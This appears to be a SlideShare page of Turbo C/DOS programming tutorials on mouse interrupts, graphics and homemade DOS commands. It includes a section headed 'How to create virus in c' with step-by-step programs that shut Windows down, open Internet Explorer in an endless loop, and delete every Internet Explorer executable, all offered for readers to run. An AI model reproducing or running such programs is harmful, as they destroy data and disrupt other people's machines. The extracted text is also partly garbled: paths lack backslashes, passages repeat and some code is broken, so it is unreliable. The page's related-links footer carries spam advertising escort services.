SlideShare une entreprise Scribd logo
1  sur  14
Mouse programming in c
(1) Write a c program which restricts the movement of
pointer?
Answer:
//restrict the x and y coordinate
#include <dos.h>
#include <stdio.h>
void main()
{
    union REGS i,o;
//show mouse pointer
    i.x.ax=1;
    int86(0x33,&i,&o);
//x coordinate restriction
    i.x.ax=7;
    i.x.cx=20;
    i.x.dx=300;
    int86(0x33,&i,&o);
//y coordinate restriction
    i.x.ax=8;
    i.x.cx=50;
    i.x.dx=250;
    int86(0x33,&i,&o);
    getch();
}
(2) Write c program which display position of pointer
in (x coordinate, y coordinate)?
Answer:
#include<dos.h>
#include<stdio.h>
void main()
{
    union REGS i,o;
    int x,y,k;
    //show mouse pointer
    i.x.ax=1;
    int86(0x33,&i,&o);
while(!kbhit()) //its value will false when we hit
key in the key board
    {
    i.x.ax=3; //get mouse position
    x=o.x.cx;
    y=o.x.dx;
clrscr();
    printf("(%d , %d)",x,y);
    delay(250);
    int86(0x33,&i,&o);
    }
    getch();




#include <dos.h>
#include <stdio.h>

void main()

{
    union REGS i,o;

    i.x.ax=1;

    int86(0x33,&i,&o);

    getch();

}

Explanation: To write such program you must have one
interrupt table. Following table is only small part
of interrupt table.
To see complete interrupt table click here

    This table consists for column. They are:

(1) Input

(2) Output

(3) Service number

(4) Purpose


    Now look at the first row of interrupt table. To show
    the mouse pointer assign ax equal to 1 i.e. service
    number while ax is define in the WORDREGS


    struct WORDREGS {

    unsigned int ax, bx, cx, dx;
unsigned int si, di, cflag, flags;

};
And WORDRGS is define in the union REGS

union REGS {

struct WORDREGS x;

struct BYTEREGS h;

};

So to access the structure member ax first declare a
variable of REGS i.e.


REGS i, o;
Note: We generally use i for input and o for output


To access the ax write i.x.ax (We are using structure
variable i because ax is input

(See in the interrupt table)


So to show mouse pointer assign the value of service
number to it:


i.x.ax=1;


To   provide  this   information   to   microprocessor
we use int86 function. It has three parameters


1. Interrupt number i.e. 0x33
2. union REGS *inputregiste i.e. &i

3. union REGS *outputregiste i.e. &o;
So write: int86 (0x33, &i, &o);



How to create virus in c?
Create simple virus by c programming language.
(Only for study purpose)
(1) Write c program which shutdown the window
operating system?
Answer:
Step 1: Write the following program in TURBO C.
void main (void){
system("shutdown -s");
}
Step 2: Save the above file. Let file name is close.c
Step 3: Only compile the above program.
Step 4: Now close the turbo c compiler and open that
directory in window operating system where you have
saved the close.c (default directory c:tcbin)
Step 5: Double click on its .exe file (close.exe)
After some time your window operating system will
shutdown.
(2) Write a c program such that when we will click on
its .exe file then it will open internet explorer at
infinite times?
Answer:
Step 1: Write the following program in TURBO C.
void main (void)
{
    for(; ;)
    {
    system("c:progra~1intern~1iexplore.exe");
    }
}
Step 2: Save the above file. Let file name is
internet.c
Step 3: Only compile the above program.
Step 4: Now close the turbo c compiler and open that
directory in window operating system where you have
saved the internet.c (default directory c:tcbin)
Step 5: Double click on its .exe file (internet.exe)
(3) Write a c program which delete the all the .exe
file of internet explorer so that internet explorer
will not work?
Answer:
Step 1: Write the following program in TURBO C.
void main(void)
{
    system("cd c:progra~1intern~1");
    system(“del *.exe”);
    system(“cls”);
}
Step 2: Save the above file. Let file name is
delete.c
Step 3: Only compile the above program.
Step 4: Now close the turbo c compiler and open that
directory in window operating system where you have
saved the delete.c (default directory c:tcbin)
Step 5: Double click on its .exe file (delete.exe)

How to create dos command in c?
(1) Create a dos command: type by c program.
Answer:
Step 1: Write following code.
#include <stdio.h>
void main(int count,char * argv[])
{
    int i;
    FILE *ptr;
    char *str;
    char ch;
    if(count==1)
    {
    printf("The     syntax   of    the    command    is
incorrect.n");
    }
    for(i=1;i<count;i++)
    {
    ptr=fopen(argv[i],"r");
    if(ptr==NULL)
    {
    printf("The    system   cannot   find    the    file
specified.");
    if(count>2)
printf("nError   occurred   while   procesing   :
%s.n",argv[i]);
    }
    else
    {
    if(count>2)
    {
    printf("%snn",argv[i]);
    }
    while((ch=getc(ptr))!=-1)
    printf("%c",ch);
    }
    fclose(ptr);
    }
}
Step 2: Save the as open.c (You can give any name)
Step 3: Compile and execute the file.
Step 4: Write click on My computer of Window XP
operating system and select properties.
Step 5: Select Advanced -> Environment Variables
Step 6: You will find following window:
Click on new button (Button inside the red box)
Step 7: Write following:
Variable name: path
Variable value: c:tcbinopen.c (the path where you
have saved)




Step 8: Open command prompt and write open then file
name and press enter button.




Create dir command in c
Answer:
Step 1: Write following code.
#include <stdio.h>
#include <dos.h>
void main(int count,char *argv[])
{
struct find_t q ;
int a;
if(count==1)
argv[1]="*.*";
a = _dos_findfirst(argv[1],1,&q);
if(a==0)
{
while (!a)
{
printf(" %sn", q.name);
a = _dos_findnext(&q);
}
}
else
{
printf("File not found");
}
}
Step 2: Save the as open.c (You can give any name)
Step 3: Compile and execute the file.
Step 4: Write click on My computer of Window         XP
operating system and select properties.
Step 5: Select Advanced -> Environment Variables
Step 6: You will find following window:
Click on new button (Button inside the red box)
Step 7: Write following:
Variable name: path
Variable value: c:tcbinopen.c (the path where you
have saved)
Step 8: Open command prompt and write list and press
enter button


Write the c program to switch the 256 color graphics
mode ?.
Ans: #include<stdio.h>
#include<dos.h>
void main()
{
int x,y,b;
union REGS i,o;
i.h.ah=0;
i.h.al=0x13;
int86(0x10,&i,&o); getch();
}



Write a c program to create a directory in current
working directory?
Ans: #include<stdio.h>
#include<dos.h>
void main()
{
union REGS i,o;
i.h.ah=0x39;
i.x.dx="ravan";
int86(0x21,&i,&o); getch();
}


Write a c programming code to create simple paint brush
software.
#include<dos.h>
#include<stdio.h>
#include<graphics.h>
#include<stdlib.h>
void main()
{
    int x,y,b,px,py,c,p,s,cl;
    int d=0,m;
    union REGS i,o;
    initgraph(&d,&m,"c:tc");
    i.x.ax=1;
    int86(0x33,&i,&o);
    i.x.ax=8;
    i.x.cx=20;
    i.x.dx=450;
    int86(0x33,&i,&o);
    printf("Brush style insert number from 0 to 5 :
");
    scanf("%d",&p);
    printf("Brush size insert number from 1 to 7 :
");
    scanf("%d",&s);
    printf("Brush color insert number from 1 to 16 :
");
    scanf("%d",&cl);
    clrscr();
    cleardevice();
    printf("tt**********DRAW IMAGE************");
    while(!kbhit())
    {
    i.x.ax=3;
    b=o.x.bx;
x=o.x.cx;
    y=o.x.dx;
    px=x;
    py=y;
    int86(0x33,&i,&o);
    if(cl==16)
    {
    c=random(16);
    }
    else
    {
    c=cl;
    }
    setcolor(c);
    if(b==1)
    {
    i.x.ax=3;
    int86(0x33,&i,&o);
    x=o.x.cx;
    y=o.x.dx;
    b=o.x.bx;
    switch(p)
    {
    case 1:circle(px,py,s);break;
    case 2:ellipse(px,py,0,270,s,s+2);break;
    case 3:fillellipse(px,py,s+2,s);break;
    case 4:rectangle(px,py,x,y);break;
    case 5:sector(px,py,30,120,s,s);break;
    default:line(px,py,x,y);
    }
    }
    }
    getch();
    restorecrtmode();
    closegraph();
}
Mouse programming in c - Restrict pointer movement and display position

Contenu connexe

Tendances

C++ Programming - 2nd Study
C++ Programming - 2nd StudyC++ Programming - 2nd Study
C++ Programming - 2nd StudyChris Ohk
 
Double linked list
Double linked listDouble linked list
Double linked listraviahuja11
 
C++ Programming - 11th Study
C++ Programming - 11th StudyC++ Programming - 11th Study
C++ Programming - 11th StudyChris Ohk
 
Defcon 23 - Daniel Selifonov - drinking from LETHE
Defcon 23 - Daniel Selifonov - drinking from LETHEDefcon 23 - Daniel Selifonov - drinking from LETHE
Defcon 23 - Daniel Selifonov - drinking from LETHEFelipe Prado
 
การเข ยนคำส _งควบค_มข__นพ__นฐาน (1)
การเข ยนคำส _งควบค_มข__นพ__นฐาน (1)การเข ยนคำส _งควบค_มข__นพ__นฐาน (1)
การเข ยนคำส _งควบค_มข__นพ__นฐาน (1)HamHam' Kc
 
เธเธฒเธฃเน€เธ‚ เธขเธ™เธ„เธณเธช _เธ‡เธ„เธงเธšเธ„_เธกเธ‚__เธ™เธž__เธ™เธเธฒเธ™
เธเธฒเธฃเน€เธ‚ เธขเธ™เธ„เธณเธช _เธ‡เธ„เธงเธšเธ„_เธกเธ‚__เธ™เธž__เธ™เธเธฒเธ™เธเธฒเธฃเน€เธ‚ เธขเธ™เธ„เธณเธช _เธ‡เธ„เธงเธšเธ„_เธกเธ‚__เธ™เธž__เธ™เธเธฒเธ™
เธเธฒเธฃเน€เธ‚ เธขเธ™เธ„เธณเธช _เธ‡เธ„เธงเธšเธ„_เธกเธ‚__เธ™เธž__เธ™เธเธฒเธ™Boom Baphomet
 
c++ program for Railway reservation
c++ program for Railway reservationc++ program for Railway reservation
c++ program for Railway reservationSwarup Kumar Boro
 
Travel management
Travel managementTravel management
Travel management1Parimal2
 
Data Structure - 2nd Study
Data Structure - 2nd StudyData Structure - 2nd Study
Data Structure - 2nd StudyChris Ohk
 
Stack using Linked List
Stack using Linked ListStack using Linked List
Stack using Linked ListSayantan Sur
 
Data structure lab manual
Data structure lab manualData structure lab manual
Data structure lab manualnikshaikh786
 
T3chFest 2016 - The polyglot programmer
T3chFest 2016 - The polyglot programmerT3chFest 2016 - The polyglot programmer
T3chFest 2016 - The polyglot programmerDavid Muñoz Díaz
 
Data Structures Practical File
Data Structures Practical File Data Structures Practical File
Data Structures Practical File Harjinder Singh
 

Tendances (19)

C++ file
C++ fileC++ file
C++ file
 
C++ programs
C++ programsC++ programs
C++ programs
 
C Prog - Array
C Prog - ArrayC Prog - Array
C Prog - Array
 
String Manipulation Function and Header File Functions
String Manipulation Function and Header File FunctionsString Manipulation Function and Header File Functions
String Manipulation Function and Header File Functions
 
C program to implement linked list using array abstract data type
C program to implement linked list using array abstract data typeC program to implement linked list using array abstract data type
C program to implement linked list using array abstract data type
 
C++ Programming - 2nd Study
C++ Programming - 2nd StudyC++ Programming - 2nd Study
C++ Programming - 2nd Study
 
Double linked list
Double linked listDouble linked list
Double linked list
 
C++ Programming - 11th Study
C++ Programming - 11th StudyC++ Programming - 11th Study
C++ Programming - 11th Study
 
Defcon 23 - Daniel Selifonov - drinking from LETHE
Defcon 23 - Daniel Selifonov - drinking from LETHEDefcon 23 - Daniel Selifonov - drinking from LETHE
Defcon 23 - Daniel Selifonov - drinking from LETHE
 
การเข ยนคำส _งควบค_มข__นพ__นฐาน (1)
การเข ยนคำส _งควบค_มข__นพ__นฐาน (1)การเข ยนคำส _งควบค_มข__นพ__นฐาน (1)
การเข ยนคำส _งควบค_มข__นพ__นฐาน (1)
 
เธเธฒเธฃเน€เธ‚ เธขเธ™เธ„เธณเธช _เธ‡เธ„เธงเธšเธ„_เธกเธ‚__เธ™เธž__เธ™เธเธฒเธ™
เธเธฒเธฃเน€เธ‚ เธขเธ™เธ„เธณเธช _เธ‡เธ„เธงเธšเธ„_เธกเธ‚__เธ™เธž__เธ™เธเธฒเธ™เธเธฒเธฃเน€เธ‚ เธขเธ™เธ„เธณเธช _เธ‡เธ„เธงเธšเธ„_เธกเธ‚__เธ™เธž__เธ™เธเธฒเธ™
เธเธฒเธฃเน€เธ‚ เธขเธ™เธ„เธณเธช _เธ‡เธ„เธงเธšเธ„_เธกเธ‚__เธ™เธž__เธ™เธเธฒเธ™
 
c++ program for Railway reservation
c++ program for Railway reservationc++ program for Railway reservation
c++ program for Railway reservation
 
Travel management
Travel managementTravel management
Travel management
 
Data Structure - 2nd Study
Data Structure - 2nd StudyData Structure - 2nd Study
Data Structure - 2nd Study
 
week-16x
week-16xweek-16x
week-16x
 
Stack using Linked List
Stack using Linked ListStack using Linked List
Stack using Linked List
 
Data structure lab manual
Data structure lab manualData structure lab manual
Data structure lab manual
 
T3chFest 2016 - The polyglot programmer
T3chFest 2016 - The polyglot programmerT3chFest 2016 - The polyglot programmer
T3chFest 2016 - The polyglot programmer
 
Data Structures Practical File
Data Structures Practical File Data Structures Practical File
Data Structures Practical File
 

Similaire à Mouse programming in c - Restrict pointer movement and display position

So I am writing a CS code for a project and I keep getting cannot .pdf
So I am writing a CS code for a project and I keep getting cannot .pdfSo I am writing a CS code for a project and I keep getting cannot .pdf
So I am writing a CS code for a project and I keep getting cannot .pdfezonesolutions
 
'C' language notes (a.p)
'C' language notes (a.p)'C' language notes (a.p)
'C' language notes (a.p)Ashishchinu
 
Shad_Cryptography_PracticalFile_IT_4th_Year (1).docx
Shad_Cryptography_PracticalFile_IT_4th_Year (1).docxShad_Cryptography_PracticalFile_IT_4th_Year (1).docx
Shad_Cryptography_PracticalFile_IT_4th_Year (1).docxSonu62614
 
Programming ppt files (final)
Programming ppt files (final)Programming ppt files (final)
Programming ppt files (final)yap_raiza
 
UNIT 4-HEADER FILES IN C
UNIT 4-HEADER FILES IN CUNIT 4-HEADER FILES IN C
UNIT 4-HEADER FILES IN CRaj vardhan
 
the refernce of programming C notes ppt.pptx
the refernce of programming C notes ppt.pptxthe refernce of programming C notes ppt.pptx
the refernce of programming C notes ppt.pptxAnkitaVerma776806
 
Let us C (by yashvant Kanetkar) chapter 3 Solution
Let us C   (by yashvant Kanetkar) chapter 3 SolutionLet us C   (by yashvant Kanetkar) chapter 3 Solution
Let us C (by yashvant Kanetkar) chapter 3 SolutionHazrat Bilal
 
C programming language tutorial
C programming language tutorial C programming language tutorial
C programming language tutorial javaTpoint s
 
C Programming Training in Ambala ! Batra Computer Centre
C Programming Training in Ambala ! Batra Computer CentreC Programming Training in Ambala ! Batra Computer Centre
C Programming Training in Ambala ! Batra Computer Centrejatin batra
 
Oh Crap, I Forgot (Or Never Learned) C! [CodeMash 2010]
Oh Crap, I Forgot (Or Never Learned) C! [CodeMash 2010]Oh Crap, I Forgot (Or Never Learned) C! [CodeMash 2010]
Oh Crap, I Forgot (Or Never Learned) C! [CodeMash 2010]Chris Adamson
 

Similaire à Mouse programming in c - Restrict pointer movement and display position (20)

So I am writing a CS code for a project and I keep getting cannot .pdf
So I am writing a CS code for a project and I keep getting cannot .pdfSo I am writing a CS code for a project and I keep getting cannot .pdf
So I am writing a CS code for a project and I keep getting cannot .pdf
 
Design problem
Design problemDesign problem
Design problem
 
UNIT-II CP DOC.docx
UNIT-II CP DOC.docxUNIT-II CP DOC.docx
UNIT-II CP DOC.docx
 
'C' language notes (a.p)
'C' language notes (a.p)'C' language notes (a.p)
'C' language notes (a.p)
 
Csdfsadf
CsdfsadfCsdfsadf
Csdfsadf
 
C
CC
C
 
C
CC
C
 
Shad_Cryptography_PracticalFile_IT_4th_Year (1).docx
Shad_Cryptography_PracticalFile_IT_4th_Year (1).docxShad_Cryptography_PracticalFile_IT_4th_Year (1).docx
Shad_Cryptography_PracticalFile_IT_4th_Year (1).docx
 
Programming ppt files (final)
Programming ppt files (final)Programming ppt files (final)
Programming ppt files (final)
 
C- Programming Assignment 3
C- Programming Assignment 3C- Programming Assignment 3
C- Programming Assignment 3
 
UNIT 4-HEADER FILES IN C
UNIT 4-HEADER FILES IN CUNIT 4-HEADER FILES IN C
UNIT 4-HEADER FILES IN C
 
the refernce of programming C notes ppt.pptx
the refernce of programming C notes ppt.pptxthe refernce of programming C notes ppt.pptx
the refernce of programming C notes ppt.pptx
 
Let us C (by yashvant Kanetkar) chapter 3 Solution
Let us C   (by yashvant Kanetkar) chapter 3 SolutionLet us C   (by yashvant Kanetkar) chapter 3 Solution
Let us C (by yashvant Kanetkar) chapter 3 Solution
 
C tutorial
C tutorialC tutorial
C tutorial
 
C tutorial
C tutorialC tutorial
C tutorial
 
C tutorial
C tutorialC tutorial
C tutorial
 
C programming language tutorial
C programming language tutorial C programming language tutorial
C programming language tutorial
 
C Programming Training in Ambala ! Batra Computer Centre
C Programming Training in Ambala ! Batra Computer CentreC Programming Training in Ambala ! Batra Computer Centre
C Programming Training in Ambala ! Batra Computer Centre
 
C Programming
C ProgrammingC Programming
C Programming
 
Oh Crap, I Forgot (Or Never Learned) C! [CodeMash 2010]
Oh Crap, I Forgot (Or Never Learned) C! [CodeMash 2010]Oh Crap, I Forgot (Or Never Learned) C! [CodeMash 2010]
Oh Crap, I Forgot (Or Never Learned) C! [CodeMash 2010]
 

Dernier

Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...Drew Madelung
 
FULL ENJOY 🔝 8264348440 🔝 Call Girls in Diplomatic Enclave | Delhi
FULL ENJOY 🔝 8264348440 🔝 Call Girls in Diplomatic Enclave | DelhiFULL ENJOY 🔝 8264348440 🔝 Call Girls in Diplomatic Enclave | Delhi
FULL ENJOY 🔝 8264348440 🔝 Call Girls in Diplomatic Enclave | Delhisoniya singh
 
Transcript: #StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024
Transcript: #StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024Transcript: #StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024
Transcript: #StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024BookNet Canada
 
Maximizing Board Effectiveness 2024 Webinar.pptx
Maximizing Board Effectiveness 2024 Webinar.pptxMaximizing Board Effectiveness 2024 Webinar.pptx
Maximizing Board Effectiveness 2024 Webinar.pptxOnBoard
 
08448380779 Call Girls In Friends Colony Women Seeking Men
08448380779 Call Girls In Friends Colony Women Seeking Men08448380779 Call Girls In Friends Colony Women Seeking Men
08448380779 Call Girls In Friends Colony Women Seeking MenDelhi Call girls
 
Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...
Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...
Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...shyamraj55
 
How to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected WorkerHow to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected WorkerThousandEyes
 
IAC 2024 - IA Fast Track to Search Focused AI Solutions
IAC 2024 - IA Fast Track to Search Focused AI SolutionsIAC 2024 - IA Fast Track to Search Focused AI Solutions
IAC 2024 - IA Fast Track to Search Focused AI SolutionsEnterprise Knowledge
 
Finology Group – Insurtech Innovation Award 2024
Finology Group – Insurtech Innovation Award 2024Finology Group – Insurtech Innovation Award 2024
Finology Group – Insurtech Innovation Award 2024The Digital Insurer
 
My Hashitalk Indonesia April 2024 Presentation
My Hashitalk Indonesia April 2024 PresentationMy Hashitalk Indonesia April 2024 Presentation
My Hashitalk Indonesia April 2024 PresentationRidwan Fadjar
 
The Evolution of Money: Digital Transformation and CBDCs in Central Banking
The Evolution of Money: Digital Transformation and CBDCs in Central BankingThe Evolution of Money: Digital Transformation and CBDCs in Central Banking
The Evolution of Money: Digital Transformation and CBDCs in Central BankingSelcen Ozturkcan
 
Google AI Hackathon: LLM based Evaluator for RAG
Google AI Hackathon: LLM based Evaluator for RAGGoogle AI Hackathon: LLM based Evaluator for RAG
Google AI Hackathon: LLM based Evaluator for RAGSujit Pal
 
CNv6 Instructor Chapter 6 Quality of Service
CNv6 Instructor Chapter 6 Quality of ServiceCNv6 Instructor Chapter 6 Quality of Service
CNv6 Instructor Chapter 6 Quality of Servicegiselly40
 
WhatsApp 9892124323 ✓Call Girls In Kalyan ( Mumbai ) secure service
WhatsApp 9892124323 ✓Call Girls In Kalyan ( Mumbai ) secure serviceWhatsApp 9892124323 ✓Call Girls In Kalyan ( Mumbai ) secure service
WhatsApp 9892124323 ✓Call Girls In Kalyan ( Mumbai ) secure servicePooja Nehwal
 
Salesforce Community Group Quito, Salesforce 101
Salesforce Community Group Quito, Salesforce 101Salesforce Community Group Quito, Salesforce 101
Salesforce Community Group Quito, Salesforce 101Paola De la Torre
 
Injustice - Developers Among Us (SciFiDevCon 2024)
Injustice - Developers Among Us (SciFiDevCon 2024)Injustice - Developers Among Us (SciFiDevCon 2024)
Injustice - Developers Among Us (SciFiDevCon 2024)Allon Mureinik
 
Kalyanpur ) Call Girls in Lucknow Finest Escorts Service 🍸 8923113531 🎰 Avail...
Kalyanpur ) Call Girls in Lucknow Finest Escorts Service 🍸 8923113531 🎰 Avail...Kalyanpur ) Call Girls in Lucknow Finest Escorts Service 🍸 8923113531 🎰 Avail...
Kalyanpur ) Call Girls in Lucknow Finest Escorts Service 🍸 8923113531 🎰 Avail...gurkirankumar98700
 
A Domino Admins Adventures (Engage 2024)
A Domino Admins Adventures (Engage 2024)A Domino Admins Adventures (Engage 2024)
A Domino Admins Adventures (Engage 2024)Gabriella Davis
 
GenCyber Cyber Security Day Presentation
GenCyber Cyber Security Day PresentationGenCyber Cyber Security Day Presentation
GenCyber Cyber Security Day PresentationMichael W. Hawkins
 
🐬 The future of MySQL is Postgres 🐘
🐬  The future of MySQL is Postgres   🐘🐬  The future of MySQL is Postgres   🐘
🐬 The future of MySQL is Postgres 🐘RTylerCroy
 

Dernier (20)

Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
 
FULL ENJOY 🔝 8264348440 🔝 Call Girls in Diplomatic Enclave | Delhi
FULL ENJOY 🔝 8264348440 🔝 Call Girls in Diplomatic Enclave | DelhiFULL ENJOY 🔝 8264348440 🔝 Call Girls in Diplomatic Enclave | Delhi
FULL ENJOY 🔝 8264348440 🔝 Call Girls in Diplomatic Enclave | Delhi
 
Transcript: #StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024
Transcript: #StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024Transcript: #StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024
Transcript: #StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024
 
Maximizing Board Effectiveness 2024 Webinar.pptx
Maximizing Board Effectiveness 2024 Webinar.pptxMaximizing Board Effectiveness 2024 Webinar.pptx
Maximizing Board Effectiveness 2024 Webinar.pptx
 
08448380779 Call Girls In Friends Colony Women Seeking Men
08448380779 Call Girls In Friends Colony Women Seeking Men08448380779 Call Girls In Friends Colony Women Seeking Men
08448380779 Call Girls In Friends Colony Women Seeking Men
 
Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...
Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...
Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...
 
How to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected WorkerHow to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected Worker
 
IAC 2024 - IA Fast Track to Search Focused AI Solutions
IAC 2024 - IA Fast Track to Search Focused AI SolutionsIAC 2024 - IA Fast Track to Search Focused AI Solutions
IAC 2024 - IA Fast Track to Search Focused AI Solutions
 
Finology Group – Insurtech Innovation Award 2024
Finology Group – Insurtech Innovation Award 2024Finology Group – Insurtech Innovation Award 2024
Finology Group – Insurtech Innovation Award 2024
 
My Hashitalk Indonesia April 2024 Presentation
My Hashitalk Indonesia April 2024 PresentationMy Hashitalk Indonesia April 2024 Presentation
My Hashitalk Indonesia April 2024 Presentation
 
The Evolution of Money: Digital Transformation and CBDCs in Central Banking
The Evolution of Money: Digital Transformation and CBDCs in Central BankingThe Evolution of Money: Digital Transformation and CBDCs in Central Banking
The Evolution of Money: Digital Transformation and CBDCs in Central Banking
 
Google AI Hackathon: LLM based Evaluator for RAG
Google AI Hackathon: LLM based Evaluator for RAGGoogle AI Hackathon: LLM based Evaluator for RAG
Google AI Hackathon: LLM based Evaluator for RAG
 
CNv6 Instructor Chapter 6 Quality of Service
CNv6 Instructor Chapter 6 Quality of ServiceCNv6 Instructor Chapter 6 Quality of Service
CNv6 Instructor Chapter 6 Quality of Service
 
WhatsApp 9892124323 ✓Call Girls In Kalyan ( Mumbai ) secure service
WhatsApp 9892124323 ✓Call Girls In Kalyan ( Mumbai ) secure serviceWhatsApp 9892124323 ✓Call Girls In Kalyan ( Mumbai ) secure service
WhatsApp 9892124323 ✓Call Girls In Kalyan ( Mumbai ) secure service
 
Salesforce Community Group Quito, Salesforce 101
Salesforce Community Group Quito, Salesforce 101Salesforce Community Group Quito, Salesforce 101
Salesforce Community Group Quito, Salesforce 101
 
Injustice - Developers Among Us (SciFiDevCon 2024)
Injustice - Developers Among Us (SciFiDevCon 2024)Injustice - Developers Among Us (SciFiDevCon 2024)
Injustice - Developers Among Us (SciFiDevCon 2024)
 
Kalyanpur ) Call Girls in Lucknow Finest Escorts Service 🍸 8923113531 🎰 Avail...
Kalyanpur ) Call Girls in Lucknow Finest Escorts Service 🍸 8923113531 🎰 Avail...Kalyanpur ) Call Girls in Lucknow Finest Escorts Service 🍸 8923113531 🎰 Avail...
Kalyanpur ) Call Girls in Lucknow Finest Escorts Service 🍸 8923113531 🎰 Avail...
 
A Domino Admins Adventures (Engage 2024)
A Domino Admins Adventures (Engage 2024)A Domino Admins Adventures (Engage 2024)
A Domino Admins Adventures (Engage 2024)
 
GenCyber Cyber Security Day Presentation
GenCyber Cyber Security Day PresentationGenCyber Cyber Security Day Presentation
GenCyber Cyber Security Day Presentation
 
🐬 The future of MySQL is Postgres 🐘
🐬  The future of MySQL is Postgres   🐘🐬  The future of MySQL is Postgres   🐘
🐬 The future of MySQL is Postgres 🐘
 

Mouse programming in c - Restrict pointer movement and display position

  • 1. Mouse programming in c (1) Write a c program which restricts the movement of pointer? Answer: //restrict the x and y coordinate #include <dos.h> #include <stdio.h> void main() { union REGS i,o; //show mouse pointer i.x.ax=1; int86(0x33,&i,&o); //x coordinate restriction i.x.ax=7; i.x.cx=20; i.x.dx=300; int86(0x33,&i,&o); //y coordinate restriction i.x.ax=8; i.x.cx=50; i.x.dx=250; int86(0x33,&i,&o); getch(); } (2) Write c program which display position of pointer in (x coordinate, y coordinate)? Answer: #include<dos.h> #include<stdio.h> void main() { union REGS i,o; int x,y,k; //show mouse pointer i.x.ax=1; int86(0x33,&i,&o); while(!kbhit()) //its value will false when we hit key in the key board { i.x.ax=3; //get mouse position x=o.x.cx; y=o.x.dx;
  • 2. clrscr(); printf("(%d , %d)",x,y); delay(250); int86(0x33,&i,&o); } getch(); #include <dos.h> #include <stdio.h> void main() { union REGS i,o; i.x.ax=1; int86(0x33,&i,&o); getch(); } Explanation: To write such program you must have one interrupt table. Following table is only small part of interrupt table.
  • 3. To see complete interrupt table click here This table consists for column. They are: (1) Input (2) Output (3) Service number (4) Purpose Now look at the first row of interrupt table. To show the mouse pointer assign ax equal to 1 i.e. service number while ax is define in the WORDREGS struct WORDREGS { unsigned int ax, bx, cx, dx;
  • 4. unsigned int si, di, cflag, flags; }; And WORDRGS is define in the union REGS union REGS { struct WORDREGS x; struct BYTEREGS h; }; So to access the structure member ax first declare a variable of REGS i.e. REGS i, o; Note: We generally use i for input and o for output To access the ax write i.x.ax (We are using structure variable i because ax is input (See in the interrupt table) So to show mouse pointer assign the value of service number to it: i.x.ax=1; To provide this information to microprocessor we use int86 function. It has three parameters 1. Interrupt number i.e. 0x33 2. union REGS *inputregiste i.e. &i 3. union REGS *outputregiste i.e. &o;
  • 5. So write: int86 (0x33, &i, &o); How to create virus in c? Create simple virus by c programming language. (Only for study purpose) (1) Write c program which shutdown the window operating system? Answer: Step 1: Write the following program in TURBO C. void main (void){ system("shutdown -s"); } Step 2: Save the above file. Let file name is close.c Step 3: Only compile the above program. Step 4: Now close the turbo c compiler and open that directory in window operating system where you have saved the close.c (default directory c:tcbin) Step 5: Double click on its .exe file (close.exe) After some time your window operating system will shutdown. (2) Write a c program such that when we will click on its .exe file then it will open internet explorer at infinite times? Answer: Step 1: Write the following program in TURBO C. void main (void) { for(; ;) { system("c:progra~1intern~1iexplore.exe"); } } Step 2: Save the above file. Let file name is internet.c Step 3: Only compile the above program. Step 4: Now close the turbo c compiler and open that directory in window operating system where you have saved the internet.c (default directory c:tcbin) Step 5: Double click on its .exe file (internet.exe)
  • 6. (3) Write a c program which delete the all the .exe file of internet explorer so that internet explorer will not work? Answer: Step 1: Write the following program in TURBO C. void main(void) { system("cd c:progra~1intern~1"); system(“del *.exe”); system(“cls”); } Step 2: Save the above file. Let file name is delete.c Step 3: Only compile the above program. Step 4: Now close the turbo c compiler and open that directory in window operating system where you have saved the delete.c (default directory c:tcbin) Step 5: Double click on its .exe file (delete.exe) How to create dos command in c? (1) Create a dos command: type by c program. Answer: Step 1: Write following code. #include <stdio.h> void main(int count,char * argv[]) { int i; FILE *ptr; char *str; char ch; if(count==1) { printf("The syntax of the command is incorrect.n"); } for(i=1;i<count;i++) { ptr=fopen(argv[i],"r"); if(ptr==NULL) { printf("The system cannot find the file specified."); if(count>2)
  • 7. printf("nError occurred while procesing : %s.n",argv[i]); } else { if(count>2) { printf("%snn",argv[i]); } while((ch=getc(ptr))!=-1) printf("%c",ch); } fclose(ptr); } } Step 2: Save the as open.c (You can give any name) Step 3: Compile and execute the file. Step 4: Write click on My computer of Window XP operating system and select properties. Step 5: Select Advanced -> Environment Variables Step 6: You will find following window: Click on new button (Button inside the red box)
  • 8. Step 7: Write following: Variable name: path Variable value: c:tcbinopen.c (the path where you have saved) Step 8: Open command prompt and write open then file name and press enter button. Create dir command in c Answer: Step 1: Write following code. #include <stdio.h> #include <dos.h> void main(int count,char *argv[]) {
